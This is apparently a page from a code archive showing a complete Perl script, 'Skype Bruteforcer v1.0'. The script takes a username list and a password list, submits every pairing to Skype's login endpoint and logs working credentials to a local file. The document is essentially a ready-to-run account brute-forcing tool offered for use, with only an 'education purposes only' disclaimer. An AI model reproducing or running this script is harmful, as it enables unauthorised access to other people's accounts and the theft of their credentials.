./c0de/perl/skype.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
#!perl
#----------------------------------------------------------------------------------------------|
#With this program you can bruteforce skype accounts                     	                   |
#Authors: Alexander Rachev (a.k.a matrix_killer)											   |
#Contact: matrix_k _at_ abv.bg																   |
#Version: 1.0													                               | 
#Copyright: this program is under a Creative Commons Attribution 2.5 Bulgaria License.	       |
#Greets: Bl0od3r, Acid_BDS, Alpha-fan and all other friends[they know who they are ;)]         |
#				                    !WARNING!										           |
# THIS PROGRAM IS MADE FOR EDUCATION PURPOSES ONLY ! I'M NOT RESPONSIBLE FOR YOUR ACTIONS !!!  |
#----------------------------------------------------------------------------------------------|
 
#http://search.cpan.org/~dland/Crypt-SSLeay-0.54/SSLeay.pm IS REQUIRED !!!!
 
 use Getopt::Std;
 use HTTP::Request::Common qw(POST);
 use LWP::UserAgent;
 
$SIG{'INT'} = \&sig_catch;$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';
$SIG{'CHLD'}='IGNORE';$SIG{'ALRM'}='IGNORE';
 
  $| = 1; 
 
  sub sig_catch {
  exit;
  }
 
  getopts('u:p:');
  our($opt_u,$opt_p);
 
  my $userlist = $opt_u;
  my $passlist = $opt_p;
 
	if ($userlist eq "") {
	print "\n";
	print "***************************************************************************\n";
	print "Skype Bruteforcer v1.0													    \n";
	print "By Alexander Rachev(a.k.a matrix_killer)									    \n";
	print "usage: perl $0 -u <users> -p <passwords>										\n";
	print "***************************************************************************\n";
	exit (1);
	}
 
	open(USERS, "<$userlist") || die ("Cannot open username file");
	open(WORDS, "<$passlist") || die ("Cannot open password file");
	@users= <USERS>;
	@words= <WORDS>;
	close(USERS);
	close(WORDS);
	$i=0;
 
 foreach $user (@users) {
 chomp($user);
 foreach $pass (@words) {
 chomp($pass);
 $ua = LWP::UserAgent->new;
 printf("\n%5d Trying $user:$pass", ++$i);
 my $req = POST 'https://secure.skype.com/store/member/dologin.html',
                [ username => $user, password => $pass, login => 'Sign+me+in' ];
 
  my $res = $ua->request($req);
 
  if ($res->as_string =~ /cookiecheck/gi) {
  open (LOG, ">>bruted_skype_accounts.txt");
  $time = time();
  $loctime = localtime($time);
  print LOG "\n";
  print LOG "Time: $loctime\n";
  print LOG "username: $user\n";
  print LOG "passowrd: $pass\n\n";
  close(LOG);
  }}}
 
 

Back